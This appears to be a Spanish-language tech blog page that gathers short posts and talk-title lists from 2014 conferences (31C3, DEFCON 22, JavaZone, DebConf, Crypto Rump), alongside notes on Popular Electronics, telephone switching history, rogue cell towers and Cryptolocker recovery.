• Diamonds are a quantum computer’s best friend
• Fnord News Show
• The Perl Jam: Exploiting a 20 Year-old Vulnerability
• Trustworthy secure modular operating system engineering
• Too Many Cooks - Exploiting the Internet-of-TR-069-Things
• Internet of toilets
• Tell no-one
• Mein Bot, der Kombattant
• Now I sprinkle thee with crypto dust
• The Only Thing We Know About Cyberspace Is That Its 640x480
• Living Drones
• Eye Wear Computing
• Security Analysis of Estonia's Internet Voting System
• From Computation to Consciousness
• Das Transparenzportal Hamburg
• 10 Jahre OpenStreetMap
• Damn Vulnerable Chemical Process
• Information Control and Strategic Violence
• Axoloti
• (In)Security of Mobile Banking
• Forging the USB armory
• Mr Beam goes Kickstarter
• Security Analysis of a Full-Body X-Ray Scanner
• What Ever Happened to Nuclear Weapons?
• Iridium Pager Hacking
• „Wir beteiligen uns aktiv an den Diskussionen“
• The Cloud Conspiracy 2008-2014
• Trackography
• DP5: PIR for Privacy-preserving Presence
• Open-BCI DIY-Neuroscience Maker-Art Mind-Hacking
• CAESAR and NORX
• Paypals War on Terror
• Snowden Effect vs. Privacy Paradox
• Reproducible Builds
• The Machine To Be Another
• Towards General Purpose Reconfigurable Computing on Novena
• Jahresrückblick des CCC
• NSA Points of Presence in AT
• Source Code and Cross-Domain Authorship Attribution
• Virtual Machine Introspection
• Security Nightmares
• SS7map : mapping vulnerability of the international mobile roaming infrastructure
• Serenität – Anleitung zum Glücklichsein
• Ich sehe, also bin ich ... Du
• Space Hacker
• Higher-Dimensional Geometry and Fractals
• Mit Kunst die Gesellschaft hacken
• The case of Chelsea Manning
• Why do we need an open food information platform
• Traue keinem Scan, den du nicht selbst gefälscht hast
• Lightning Talks Day 4
• Automatically Subtitling the C3
• GIFs: Tod eines Mediums. Und sein Leben nach dem Tod.
• Programming with dependent types in Idris
• Privacy and Consumer Markets
• Agri-tech and the Arts: From Barns to D-Space
• Revisiting SSL/TLS Implementations
• Let's build a quantum computer!
• Reconstructing narratives
• Doing right by sources, done right
• 31C3 Infrastructure Review
• Vor Windows 8 wird gewarnt
• Glitching For n00bs
• Uncaging Microchips
• Low Cost High Speed Photography
• Funky File Formats
• Hacking Ethics in Education
• net neutrality: days of future past?
• "Exploit" in theater
• Freedom in your computer and in the net
• 31C3 Closing Event
• Rocket Kitten: Advanced Off-the-Shelf Targeted Attacks Against Nation States
• Crypto Tales from the Trenches
• Lightning Talks Day 2
• Computer Science in the DPRK
• Switches Get Stitches
• Rocket science – how hard can it be?
• MegaCode to facility gates
• From Maxwell to antenna arrays
• Attacks on UEFI security, inspired by Darth Venamis's misery and Speed Racer
• Heartache and Heartbleed: The insider’s perspective on the aftermath of Heartbleed
• State of the Onion
• The eXperimental Robot Project
• The rise and fall of Internet voting in Norway
• Code Pointer Integrity
• EMET 5.1 - Armor or Curtain?
• IFG – Mit freundlichen Grüßen
• Superheroes Still Need Phoneboxes
• The Invisible Committee Returns with "Fuck Off Google"
• osmo-gmr: What's up with sat-phones ?
• The Matter of Heartbleed
• Deine Rechte sind in diesen Freihandelsabkommen nicht verfügbar
• Mobile self-defense
• The automobile as massive data gathering source and the consequences for individual privacy
• Die Krise der Bilder ist die Krise der Politik
• Preserving arcade games
• UNHash - Methods for better password cracking
• The Maker movement meets patent law
• Long war tactics
• Infocalypse now: P0wning stuff is not enough
• The Time is Right
• Finding the Weak Crypto Needle in a Byte Haystack

31C3 "A new dawn" comienza hoy

Chaos Computer Club (CCC), el congreso sobre seguridad/hacking más grande de Europa da comienzo hoy día 27 de diciembre. En esta su 31 edición, el congreso lleva como título “A new dawn” (Un nuevo amanecer). Este año 31C3 cuenta con más de 120 presentaciones y una docena de talleres. El congreso durará hasta el día 30 de diciembre y como de costumbre puedes seguir todas las presentaciones en vivo desde http://streaming.media.ccc.de .

La revista sobre electrónica de mayor tirada …

Siento desilusionarte si has llegado hasta aquí pensando en alguna revista de actualidad.

Se llama o llamaba Popular Electronics, fue creada en octubre de 1954 y dejó de publicarse en 1985.

Popular Electronics era una revista para hackers de la eletrónica, tuvo una circulación de 240.151 en abril de 1957 y de 400.000 por 1963. Si alguna vez has oído hablar de esta revista seguro que ha sido por el ejemplar de enero de 1975 (PDF) (portada del que encabeza esta entrada). Ese ejemplar tiene bastante historia, primero para el artículo sobre Altair (por cierto la foto de portada es una caja vacía) y segundo porque fue el motivo por el que se crearía Microsoft.

Todos los vídeos y presentaciones de DEFCON 22 a …

Desde la web de Defcon ya nos podemos descargar a través de un fichero torrent todos los vídeos y presentaciones de la vigésimo segunda edición de Defcon celebrada este pasado verano.

El fichero torrent contiene más de 20Gb, con lo que te puede llevar un buen rato. Si no lo quieres todo y sólo te interesan ciertas presentaciones, también las puedes descargar de forma individual desde este enlace.

Microhistorias - Creación del conmutador …

Strowger-type selector assembly - Wikipedia

A finales del siglo XIX, las centralitas telefónicas estaban controladas completamente por el factor humano. Éste como todo en la vida tenía sus cosas buenas: toma de decisiones, toque personal, etc, pero también sus cosas malas: lento, coste económico, errores, cotilleos, etc.

Era sólo cuestion de tiempo que el operador telefónico acabara desapareciendo de esta ecuación y fuera una máquina la que conectara al llamante con el llamado de forma totalmente automática.

Documental, "World of Warcraft: looking for group" …

Aunque no te gusten los MMOPRG, hay que reconocer que World of Warcraft es toda una revolución, tanto a nivel técnico como social.

En este documental se hace un repaso a toda la historia del WoW desde sus inicios hasta hoy día y su impacto. Pero lo mejor de todo es que por primera vez, podemos ver por dentro una granja de servidores del juego.

Cyberhades en la Maker Faire New York 2014

(Haz click en la imagen para ver el álbum)

El pasado 26 y 27 de Septiembre se celebró en Brooklyn, NY, la Maker Faire. Tuve la suerte de ir con mi colega NOP y la verdad es que alucinamos con todo lo que vimos por allí.

No sólo por la cantidad de aparatos, dispositivos, impresoras 3D, electrónica, libros, robots, etc … sino por el espectacular ambiente que se compartía allí. Nos llamó mucho la atención ver a niños pequeños soldando, jugando con Rasperry Pi, montando LEGO Mindstorm … así es como se prepara el futuro de un ingeniero.

Trailer oficial de "The Imitation Game", la …

¿Y tú de qué vas?, Lorenzo Martínez

Lorenzo Martínez con Steve Wozniak, SecurityByDefault

1) ¿Quién eres y a qué te dedicas?

Esta pregunta que parece tan sencilla e introductoria, es muchas veces la más difícil de contestar. Soy a la vez tantas cosas que no sé ni por dónde empezar. Diría: Ingeniero en Informática, técnico, investigador y trabajador incansable, dedicado toda mi vida laboral a la seguridad informática y las redes de comunicaciones, aprendiz diario, autodidacta en un montón de materias, ciudadano de un país donde la justicia no siempre es justa, blogger en Security By Default, empresario en Securízame, ponente en Congresos de seguridad, profesor de asignaturas de seguridad informática en varios másters universitarios, enamorado de la tecnología, curioso y emprendedor por naturaleza... un montón de adjetivos que a veces son virtudes, y otras veces sólo me generan problemas, pero no puedo remediarlo, me gusta la vida que llevo e intento ser feliz así.

Presentaciones Linuxcon Norteamérica 2014

En Chicago se celebró la Linuxcon norteamérica de este año. El event se produjo entre los días 20-22 de agosto. Si hubo alguna charla que te interese y que no pudiste seguir (emitieron las charlas online), quizás encuentres las diapositivas de la misma de entre las que han publicado:

6 Months of the Eudyptula Challenge, Lessons Learned SMR impact on Linux Storage Subsystem How Docker Enablement makes Linux Container easy to deploye on Enterprise Linux Coming Soon, an Open Source Project Near You – the Linaro LNG Open Data Plane Initiative Universal Tux: Accessibility For Our Future Selves Ever Growing CPU States: Context Switch with Less Memory and Better Performance Open Source Governance Round Table: What’s hot ? Fork and Ignore: Fighting a GPL Violation By Coding Instead Kernel Debugging and Tracing NFV in the embedded world: Yocto Project and OpenStack Replacing HW Raid with Twitter Cache and Persistent Memory Explaining and Accessing the SPDX License List kpatch: Have Your Security And Eat It Too! Raspberry Pi Hacks and Projects Hacking the Kernel, Hacking Myself Linux Performance Tools An Overview of Kernel Lock Improvements Object-Based Storage - NAS support through NFS-Ganesha. The Architecture of Linux Traffic Control Better Integration of Systems Management Hardware with Linux Compressing strings of the kernel Kernel Internship Report (OPW) Make your own usb gadget Why Linux rules Chicago Tux On Top: Open Source at the Top of the Rack How Linux Distros Became Boring (and Fedora’s Plan to Put Boring Where It Belongs) New Views on your Source Code History with “git replace” Open Source Policy: OpenDaylight and OpFlex Kernel features for reducing power consumption on embedded devices Getting More Out Of System Suspend In Linux Simulating the Internet using unprivileged LXC containers Linux Kernel Power Management (PM) Framework for ARM 64-bit processors devicetree: kernel internals and practical troubleshooting LLVMLinux: Embracing the dragon Building Linux support for Digital TV Kpatch without Stop Machine RAS Enhancement Activities for Mission-critical Linux Systems Why you should consider using btrfs, real COW snapshots and file level incremental server OS upgrades like Google does. You know, for kids! 7 ideas for improving tech education in schools Lessons about Community from Science Fiction Troubleshooting as a Service Testing Video4Linux Applications and Drivers

Er docu der finde: La mentira de la bombilla de …

Entrevista a 30 desarrolladores del kernel de …

En Linux.com tienen una buena recopilación de entrevistas hechas a 30 desarrolladores del núcleo de Linux. A todos ellos se le hacen las mismas preguntas:

• What's your name? ¿Cómo te llamas?
• What role do you play in the community and/or what subsystem(s) do you work on? ¿Cual es tu papel en la comunidad y en que subsistema/s trabajas?
• Where do you get your paycheck? ¿Quién te paga?
• What part of the world do you live in? Why there? ¿En qué parte del mundo vives? ¿Por qué?
• What are your favorite productivity tools for software development? What do you run on your desktop? ¿Cuales son tus herramientas de productividad favoritas en el desarrollo de software? ¿Qué aplicaciones usas en tu escritorio?
• How did you get involved in Linux kernel development? ¿Cómo te involucraste en el desarrollo del núcleo de Linux?
• What keeps you interested in it? ¿Qué mantiene tu interés en el mismo?
• What's the most amused you've ever been by the collaborative development process (flame war, silly code submission, amazing accomplishment)? ¿Qué es lo que más te a sorprendido en el proceso de desarrollo colaborativo (discusiones, envío de código estúpido, logros impresionantes)?
• What's your advice for developers who want to get involved? ¿Qué le aconsejarías a los desarrolladores que quieren involucrarse?
• What do you listen to when you code? ¿Qué escuchas cuando programas?
• What mailing list or IRC channel will people find you hanging out at? What conference(s)? ¿En qué listas de correo o canales de IRC te podrían encontrar la gente? ¿Qué conferencia/s?

Más o menos cómo la sección que tenemos aquí ¿Y tú de qué vas? ;) En la por cierto muy pronto publicaremos una nueva entrevista.

Los 30 entrevistados (por Jennifer Cloer) son los siguientes:

Vídeos de la Javazone 2014

Tres días completos de conferencia, 2.500 desarrolladores, 90 presentaciónes, 60 charlas rápidas y 12 talleres. Esos son los números de este años de las JavaZone 2014, una conferencia sobre programación, la mayoría orientadas a Java, eso sí, la mitad de las charlas están en noruego.

Aquí tenéis las charlas que se dieron, por si os interesa alguna:

• #NoEstimates - Filip van Laenen
• 3D-grafikk i nettleseren: Hvordan komme i gang med WebGL - Kristoffer Dyrkorn
• 33 things you want to do better - Tom Bujok
• 50 new features of Java EE 7 - Arun Gupta
• Accelerate your development by accelerating your feedback loop - Johannes Brodwall
• Akka in real-time - Owen Fraser-Green
• A Little Graph Theory for the Busy Developer - Jim Webber
• Ansible: Provisjonering for programmerere - Bendik Solheim
• Arkitektreisen - Jon-Thomas Eliassen
• BDD - better driven development? - Mads Hoel
• Blueflood: A case study in open-sourcing a large piece of infrastructure software - Gary Dusbabek
• Brukervennlig input på responsive websiter - John-Arne Fagerli
• Building A Big Data Machine Learning Platform - Cliff Click
• Building a Country on Open Source Java - Jeff Genender
• Building Advanced Web Applications using Canvas - Geir Vidar Kristensen
• Building flexible and high performance software with CQRS and Axon Framework - Allard Buijze
• Building Modular Java Applications in the Cloud Age - Bert Ertman
• Building on SOLID Foundations - Steve Freeman
• call(me, maybe) - Erik Wendel
• Cassandra (and Hadoop) case studies from FINN.no - mck
• Ceylon from here to infinity: the big picture and what's coming - Stephane Epardaud
• Choose the right tools for the job - avoid "hammer first" solutions - Aksel Gresvig
• Chromecast i en fei - Sindre Mehus
• Combining .NET and Java in an enterprise web publishing platform - Svein-Magnus Sørensen
• Connecting Physical Devices to the Web - Event Driven Architecture using WebSocket for the Internet of Things - Peter Moskovits
• Conquering the wicked kingdom of Java with a NodeJS Trojan horse - Espen Dalløkken
• Content Security Policy - Hva er din side lastet med? - Mikael Strand, Åshild Kaldahl Thorrud
• Continuous Delivery for Architects - Neal Ford
• Cost-Aware Architectures - Markus Krüger
• Dart: A programming language designed for speed and the web - Lars Bak
• Design for asynkronitet og høy ytelse! - Eivind Barstad Waaler
• Det er helt sikkert at det er usikkert. Hvordan (ikke) anslå usikkerhet til estimater. Innlagt NM i estimering-Magne Jørgensen
• Det var en gang en hendelse - Kari Bergh Schjønsby
• Distributed Ad hoc Real-Time Stream Processing - Christian Kreutzfeldt
• Distributed Consensus A.K.A. "What do we eat for lunch?" - Konrad `ktoso` Malawski
• DTO 2.0 – et SOLID forsvar for offentlige instansfelter (i Java) - Kjetil Valstadsve
• Du MÅ ikke velge et rammeverk! - Eivind Barstad Waaler
• Elm: Et funksjonelt språk for weben - Henrik Wingerei
• Enemy of the state - Joachim Lous
• En realitetsorientering om tingenes internett - og hvordan du kan komme i gang selv - Simen Sommerfeldt
• Erfaringer fra 150 mikrotjenester - fordeler og ulemper - Jan Henrik Gundelsby
• Er JavaFX noe for deg som hater å knote med GUI? - Anne Landro
• ES6 er her, velkommen til fremtiden innen JavaScript - Pål Ruud
• Fem år med Scala i produksjon - Sigmund Marius Nilssen
• Fibonacci Pairing: Learning through Collaboration - Yilmaz Guleryus
• Fix That! - Christin Gorman
• Fra idé til realisering på 3 uker med dagens frontend teknologi - Ismar Slomic, Anna Karpova
• Functional Groovy - Andres Almiray
• Functional Reactive Programming in Javascript - Sven Anders Robbestad
• Functional UIs with Vaadin - Henri Muurimaa
• Future of Development and the Cloud - Ken Sipe
• Get a power-up for your browser tests with geb and groovy! - Thilko Richter
• Gi legacy kode litt kjærlighet og se den blomstre på nytt - Kjell Arne Arvesen
• Git er mer enn å pulle, committe og pushe - Kjartan Aanestad
• Gjenbruk JavaScript i Java-prosjekter med Maven WebJars - Anders Emil Salvesen
• goto java; - Martin Skarsaune
• Hald bønnene dine unna domenemodellen min! - Kenneth Pedersen
• Handling complexity through configurability: Erex - an energy settlement solution for the railways of tomorrow - Western, Aas
• Hei, jeg heter August, og jeg driver med data. - August Lilleaas
• How do crypto currencies work? - Erik Engheim
• How Open Source can make your $job a better place - Salve J. Nilsen
• How to "login with Facebook": OAuth 2 demystified - Johannes Brodwall
• Hva har portrett-tegning lært meg om arkitektur-skisser - Trond Pedersen
• Hvordan få en kamel til å danse - Per Jørgen Walstrøm & Audun Fauchald Strand
• Hvordan jeg fikk tredd Scala ned over hodet. - Tanja Milijana Gruschke
• Hvordan sette opp Transport Layer Security på en sikker måte. - Rolf Rander Næss
• Hvordan spise en elefant - Nils Christian Haugen & Trond Hjorteland
• Hvorfor bytter vi ut en webapplikasjon som virker? - Joar Aurdal, Tom-Tom Erik Isaksen
• I-Tier: Breaking Up the Monolith - Brian McCalliser
• I/Opener to the Big I/O - Oleg Zhurakousky
• Immutable Server Generation: the new App Deployment - Axel Fontaine
• Innsamling av ekstremt sensitive data til forskning - Dagfinn Bergsager
• Integrasjon i NRK - Christian Kjendseth Wiik
• Integrasjonsarkitektur - Er det egentlig så vanskelig? - Arne Watnelie
• Interpolation - The art of moving from A to B - Snorre Eskeland Brekke
• Introduction to Mutation Testing - Nicolas Fränkel
• Introduksjon til iBeacon - Anders Breivik, Hans Olav Nome
• Iteration 2.0: Stream - Martin Skarsaune
• Java 8 Lambda på 1-2-3 - Øystein Jakobsen
• Java 8: Efficient use of multi core processors with lambdas and streams - Fabian Stäber
• Jolokia - JMX on Capsaicin - Roland Huss
• JSR 363 - The Answer to Life Science and the Internet of Everything - Werner Keil
• Kill 'Em All – and the ultimate developer will rise again! - Stein Inge Morisbak
• Kontinuerlig Leveranse i Skatteetaten? - Trond Arve Wasskog, Anders Sveen
• Kontroversiell matematikk - Christian Magnus Berg
• Kotlin vs Java puzzlers - Svetlana Isakova
• Logs live and in color – say goodbye to old school log files - Alexander Schwartz
• Luksusfellen, sesong 2 - Terje Heen
• Making Steaks from Sacred Cows - Kevlin Henney
• Making the Case for Reviews - Austin Bingham
• Mastering Continuous Delivery and DevOps - Michael Hüttermann
• Mimicking Natural Phenomena to Solve Complex Industrial Problems - Shaukat Ali
• Mind the Gap: Architecting UIs in the Era of Diverse Devices - Nathaniel Scutta
• Min hverdag som DevOps-utvikler - Runar Furenes
• Nei det er ikke BIG-IP sin skyld, det er din! - Kai Bjørnstad
• Paxos explained in one hour - Konrad Beiske
• Polymer: Shadow DOMS, Custom Components and the Future of Web - Brian Sletten
• PostgreSQL som MQ - Trygve Laugstøl
• Power to the Programmers - Tom Gilb
• Practical Considerations For Microservice Architectures - Sam Newman
• Predictive Models of Development Teams and the Systems they Build - Robert Smallshire
• Presentasjon 2.0 - Jøran Vagnby Lillesand
• Progressive enhancement ved bruk av Node.js - Kittel Austvoll
• Provisjonering av JavaZone - Kjetil Valle, Sveinung Dalatun
• PUSH i FINN.no: Øyeblikkelig varsling på nye annonser - Fredrik Rødland
• Quick and easy performance testing for developers - Håkon T. Sønderland
• Really understanding Clojure, getting into macros - Alf Kristian Støyle
• Real world RESTful service development problems and solutions - Masoud Kalali, Bhakti Mehta
• Refactoring to Functional - Hadi Hariri
• Regex Ninja: The Magic of Regular Expressions - Rustam Mehmandarov
• Resilience with Hystrix - Uwe Friedrichsen
• REST in Practice, in Practice - Ian Robinson
• Salesforce - Hvordan skalerer de i skyen - Tor Håkon Sigurdsen, Carl Huseby Fosli
• Schema migration - the missing piece in Java EE - Rikard Thulin
• Sjakk Matt - Per S. Digre
• Software Design: Why, When & How - Kent Beck
• So long, and thanks for all the tests - Seb Rose
• Splitt og hersk: Fleksibel arkitektur med Micro Services! - Henrik Schwarz
• SQL, the Underestimated Big Data Technology - Lukas Eder
• Stopp overvåkningen! Bruk HTTPS! - Jostein Tveit
• Strategic reuse - Johannes Brodwall
• Sånn passe mye arkitektur - Vegard Hartmann
• TDD with AngularJS and TypeScript - Sirar Salih
• Teknologistandardisering i store organisasjoner er en dårlig ide! - Morten Moe
• Testdrevet utvikling for systemer uten tester - Stian Grenborgen & Anders Karlsen
• The Adventurous Developer's guide to Application Servers - Simon Maple
• The fastest Arduino in Scandinavia - Marty Cochrane
• The Spirit of the Dugnad – Support Your Local Meetup! - Mark Alan West
• TODO or not TODO, that's the question? - Simo Martomaa
• Tomras vei fra monolitt til distribuert system - Kim Christian Swenson, Erik Drolshammer
• Ultralyd - Java møter IoT og BYOD - Ragnvald Balch Barth
• Understanding Java byte code - Rafael Wintherhalter
• Under the Hood of the HotSpot G1 Garbage Collector - Bengt Rutisson
• Unit testing concurrent code - Rafael Winterhalter
• Using Docker to streamline development - Trond Marius Øvstetun
• Using the right tools to get back into the driver's seat of your JVM - Hardy Ferentschik
• Utvikling og drift av 100% skybasert javaløsning - Mikkel Byrsø Dan-Rognlie
• VirtualBox reloaded - Harald Søvik
• Vi vet hvor det blir kø - Store mengder trafikkdata med Akka, Elasticsearch og OPC-UA - Jan Fredrik Wedén
• Web-security experiences from a Penetration Tester - Andreas Hegna
• Web Components? - Sigurd Fosseng
• Webutvikling med Clojure - Odin Hole Standal
• What's the deal with Functional Programming anyway? - Fredrik Vraalsen
• What the hell is WebRTC? - Dag Inge Aas
• Your web application is already out of date - Erlend Oftedal
• ZombieCLJ: Live parprogrammering - Magnar Sveen, Christian Johansen

La tabla periódica del diseño web

Periodic Table of Web Design Process – created by New Design Group

Presentaciones de la Crypto Rump 2014

Crypto Rump es un evento de un sólo día donde se presentan temas sobre cifrado. Las presentaciones son cortas y el evento dura poco menos de 4 horas. Este año dicho evento se celebró el 19 de agosto. Como de costumbre, os dejamos la lista con las presentaciones que están publicadas:

• Program Co-Chairs Report
• Privacy, Security & Trust
• Tetris-based Cryptography: a gateway to serious Crypto
• Cryptogramma.com
• Public Verifiable Randomness Beacon for Random Sample Elections
• Deniable and not self-harming trapdoors
• NIST VCAT Report and Dual EC DRBG
• NIST Update: Elliptic Curves and More!
• New Cryptography Libraries from Microsoft Research
• Bits Security of the CDH Problems over Finite Fields
• Fast Lattice Point Enumeration with Minimal Overhead
• Jobs available
• Just a little of that human touch
• Update on the 10000 Euro PRINCE cipher-breaking challenge: Results of Round-1
• On the Security of the FX-Construction (feat. PRINCE and PRIDE)
• Spritz: a spongy RC4-like stream cipher and hash function
• Randomness Extraction with Streaming Algorithms
• The graduate acoustic attack: The sound of silence
• DNSSEC
• SPOKE: Simple Password-Only Key Exchange in the Standard Model
• How Secure and Quick is QUIC in Presence of Malice?
• An Exercise in Shooting Yourself in the Foot: Automating the Cryptographer
• The Bitcoin Backbone: Analysis and Applications
• A New Non-Malleable Commitment Scheme
• Multiparty illumination
• Postponing the Deadline of the Best Crypto Competition Ever!
• Circuit ORAM and on the Tightness of the Goldreich-Ostrovsky ORAM Lower Bound
• Oblivious Data Structures
• SCVM: An Efficient, Automated RAM Model Secure Computation Framework
• Awesome MPC
• Introducing TinyLEGO, smaller is sometimes better
• An Annotated Bibliography of Practical Secure Computation
• A Unifying Framework for Computation on Encrypted Data
• New Graded Multilinear Maps from Lattices
• Fully Secure Attribute Based Encryption from Multilinear Maps
• Implementing Cryptographic Program Obfuscation
• Order-Revealing Encryption
• Verifiable Member and Order Queries on a List in Zero Knowledge
• Four minutes of fast talking about order-preserving encryption

Er docu der finde: Héroes de Papel y Lápiz

Algoritmos y el coste asintótico

Fuente

Vídeos de la DebConf 2014

Ya están disponibles los vídeos de la conferencia anual sobre desarrolladores de Debian DebConf 2014.

Como de costumbre, os dejamos la lista de los mismos a continucaión:

• ACC_for_abi_breaks.webm
• A_glimpse_into_a_systemd_future.webm
• Bits_from_the_DPL.webm
• Coming_of_Age_My_Life_with_Debian.webm
• DSA_Team_round_tableBoF.webm
• Debian_Java_Packaging_BoF.webm
• Debian_Long_Term_Support.webm
• Debian_in_the_Dark_Ages_of_Free_Software.webm
• Debian_installer_and_CD_BoF.webm
• Debsources_powering_sourcesdebiannet.webm
• GRUB_ancient_and_modern.webm
• GnuPG_in_Debian_BoF.webm
• Infrastructure_updates_can_we_change_anything_in_less_than_2_years.webm
• LSB_for_Debian_BoF.webm
• MIA_Team_BoF.webm
• MIPS_BoF.webm
• Meet_the_Technical_Committee.webm
• My_PGPGPG_key_is_RSA_2048bit_but_I_put_the_private_key_on_Gnuk_Token.webm
• New_Network_Interface_Manager_for_Debian_ifupdown2.webm
• Notmuch_BoF.webm
• One_year_of_fedmsg_in_Debian.webm
• OpenPGP_keysigning.webm
• OpenStack_update_packaging_experience_sharing.webm
• Power_Tuning_Linux_A_Case_Study.webm
• Python_BoF.webm
• QA_with_Linus_Torvalds.webm
• Quit_logging_or_data_minimization_in_Debian.webm
• Removing_obsolete_packages_for_fun_and_profit.webm
• Reproducible_Builds_for_Debian_a_year_later.webm
• SPI_BOF.webm
• State_of_the_ARM.webm
• Status_of_the_Debian_OpenPGP_keyring.webm
• Status_report_of_the_Debian_Printing_team.webm
• The_state_of_the_bootstrap.webm
• Validation_and_Continuous_Integration_BoF.webm
• Weapons_of_the_Geek.webm
• Web_and_wiki_BoF.webm
• Welcome_talk.webm
• Whats_new_in_the_Linux_kernel.webm
• bugsdebianorg_Database_Ho.webm
• debci_and_the_Debian_Continuous_Integration_project.webm
• debdry_Debian_Dont_Repeat_Yourself.webm
• tasksel_default_desktop_requalification.webm
• use_Perl_Annual_meeting_of_the_Debian_Perl_Group.webm

Er docu der finde: Mundo Hacker - Spam y Phishing

Encuentran torres sospechosas de telefonía móvil …

Según un artículo publicado recientemente en la web de Popular Science, ESD America, una empresa que comercializa un teléfono móvil de alta seguridad llamado CryptoPhone 500, ha encontrado alrededor de los Estados Unidos unas 17 torres de telefonía móvil sospechosas.

Como podemos ver en el siguiente mapa de Agosto de este año, dichas torres conocidas como interceptores están repartidas alrededor de los Estados Unidos. El mapa fue creado en colaboración entre ESD America y sus clientes.

Ya puedes recuperar tus ficheros cifrados por …

Cryptolocker es un rasomware (fue visto por primera vez en Septiembre de 2013) que una vez infecta un equipo, se dedica a cifrar todos los ficheros que encuentra (sobre todo de Office y MP3) tanto en el disco duro como en todas las unidades de disco conectadas o incluso, y aquí está el mayor de los problemas, las unidades de red mapeadas. Ya puedes imaginarte el gran daño que puede llegar a hacer en una empresa que tiene conectadas unidades de red a diferentes servidores, etc. El caos puede ser absoluto. La única forma de poder recuperar tus ficheros era pagar, y con suerte, te enviarían la contraseña para poder descifrarlos.

Submarine Cable Map 2014

Click en la imagen para ampliar.

Submarine Cable Map 2014

Er docu der finde: La escuela olvidada

Presentaciones de Defcon 22 ya disponibles

Ya se encuentran disponibles las presentaciones (diapositivas y algún documento extra) de Defcon 22:

• Protecting SCADA From the Ground Up - PDF
• Detecting Bluetooth Surveillance Systems - PDF
• Dropping Docs on Darknets: How People Got Caught - PDF
• Hacking 911: Adventures in Disruption, Destruction, and Death - PDF
• How to Disclose an Exploit Without Getting in Trouble - PDF
• Reverse Engineering Mac Malware - PDF
• NSA Playset: PCIe - PDF
• The Monkey in the Middle: A pentesters guide to playing in traffic. - PDF
• Investigating PowerShell Attacks - PDF
• Is This Your Pipe? Hijacking the Build Pipeline. - PDF
• Screw Becoming A Pentester - When I Grow Up I Want To Be A Bug Bounty Hunter! - PDF
• Home Alone with localhost: Automating Home Defense - PDF
• Meddle: Framework for Piggy-back Fuzzing and Tool Development - PDF
• Instrumenting Point-of-Sale Malware: A Case Study in Communicating Malware Analysis More Effectively - PDF White Paper
• One Man Shop: Building an effective security program all by yourself - PDF
• RF Penetration Testing, Your Air Stinks - PDF
• Touring the Darkside of the Internet. An Introduction to Tor, Darknets, and Bitcoin - PDF
• USB for all! - PDF
• ShareEnum: We Wrapped Samba So You Don’t Have To - PDF
• An Introduction to Back Dooring Operating Systems for Fun and Trolling - PDF
• Android Hacker Protection Level 0 - PDF
• Anatomy of a Pentest; Poppin' Boxes like a Pro - PDF
• Bug Bounty Programs Evolution - PDF Extras
• Practical Foxhunting 101 - PDF
• Client-Side HTTP Cookie Security: Attack and Defense - PDF
• Bypass firewalls, application white lists, secure remote desktops under 20 seconds - PDF
• PropLANE: Kind of keeping the NSA from watching you pee - PDF
• Getting Windows to Play with Itself: A Hacker's Guide to Windows API Abuse - PDF
• Weaponizing Your Pets: The War Kitteh and the Denial of Service Dog - PDF
• Through the Looking-Glass, and What Eve Found There - PDF White Paper
• Summary of Attacks Against BIOS and Secure Boot - PDF
• I am a legend: Hacking Hearthstone with machine learning - PDF
• The Secret Life of Krbtgt - PDF
• The $env:PATH less Traveled is Full of Easy Privilege Escalation Vulns - PDF
• Hacking US (and UK, Australia, France, etc.) traffic control systems - PDF
• The Cavalry Year[0] & a Path Forward for Public Safety - PDF
• NSA Playset: DIY WAGONBED Hardware Implant over I2C - PDF
• Abuse of Blind Automation in Security Tools - PDF
• Why Don’t You Just Tell Me Where The ROP Isn’t Suppose To Go - PDF
• Steganography in Commonly Used HF Radio Protocols - PDF Extras
• Saving Cyberspace by Reinventing File Sharing - PDF
• Empowering Hackers to Create a Positive Impact - PDF
• Just What The Doctor Ordered? - PDF
• Check Your Fingerprints: Cloning the Strong Set - PDF
• Shellcodes for ARM: Your Pills Don't Work on Me, x86 - PDF
• Blowing up the Celly - Building Your Own SMS/MMS Fuzzer - PDF
• Mass Scanning the Internet: Tips, Tricks, Results - PDF
• Deconstructing the Circuit Board Sandwich: Effective Techniques for PCB Reverse Engineering - PDF
• Saving the Internet (for the Future) - PDF
• Burner Phone DDOS 2 dollars a day : 70 Calls a Minute - PDF
• Hack All The Things: 20 Devices in 45 Minutes - PDF
• Stolen Data Markets: An Economic and Organizational Assessment - PDF
• Raspberry MoCA - A recipe for compromise - PDF White Paper 1 White Paper 2
• Girl… Fault-Interrupted. - PDF
• Extreme Privilege Escalation On Windows 8/UEFI Systems - PDF White Paper
• NinjaTV - Increasing Your Smart TV’s IQ Without Bricking It - PDF
• Oracle Data Redaction is Broken - PDF
• Weird-Machine Motivated Practical Page Table Shellcode & Finding Out What's Running on Your System - PDF
• Catching Malware En Masse: DNS and IP Style - PDF White Paper
• Attacking the Internet of Things using Time - PDF
• Open Source Fairy Dust - PDF
• Learn how to control every room at a luxury hotel remotely: the dangers of insecure home automation deployment - PDF White Paper
• Generating ROP payloads from numbers - PDF
• DEF CON Comedy Jam Part VII, Is This The One With The Whales? - PDF
• The NSA Playset: RF Retroreflectors - PDF 1 PDF 2
• VoIP Wars: Attack of the Cisco Phones - PDF
• Playing with Car Firmware or How to Brick your Car - PDF
• Measuring the IQ of your Threat Intelligence feeds - PDF
• Secure Because Math: A Deep Dive On Machine Learning-Based Monitoring - PDF
• Abusing Software Defined Networks - PDF
• NSA Playset : GSM Sniffing - PDF
• Cyberhijacking Airplanes: Truth or Fiction? - PDF
• Am I Being Spied On? Low-tech Ways Of Detecting High-tech Surveillance - PDF
• Detecting and Defending Against a Surveillance State - PDF
• Acquire current user hashes without admin privileges - PDF
• You're Leaking Trade Secrets - PDF
• Veil-Pillage: Post-exploitation 2.0 - PDF
• From Raxacoricofallapatorius With Love: Case Studies In Insider Threat - PDF
• Don't DDoS Me Bro: Practical DDoS Defense - PDF
• Advanced Red Teaming: All Your Badges Are Belong To Us - PDF
• I Hunt TR-069 Admins: Pwning ISPs Like a Boss - PDF
• The Only Way to Tell the Truth is in Fiction: The Dynamics of Life in the National Security State - PDF
• A Journey to Protect Points-of-sale - PDF
• Impostor — Polluting Tor Metadata - PDF
• Domain Name Problems and Solutions - PDF White Paper
• Optical Surgery; Implanting a DropCam - PDF
• Manna from Heaven: Improving the state of wireless rogue AP attacks - PDF
• The Open Crypto Audit Project - PDF
• Practical Aerial Hacking & Surveillance - PDF White Paper
• From root to SPECIAL: Pwning IBM Mainframes - PDF
• PoS Attacking the Traveling Salesman - PDF
• Don't Fuck It Up! - PDF

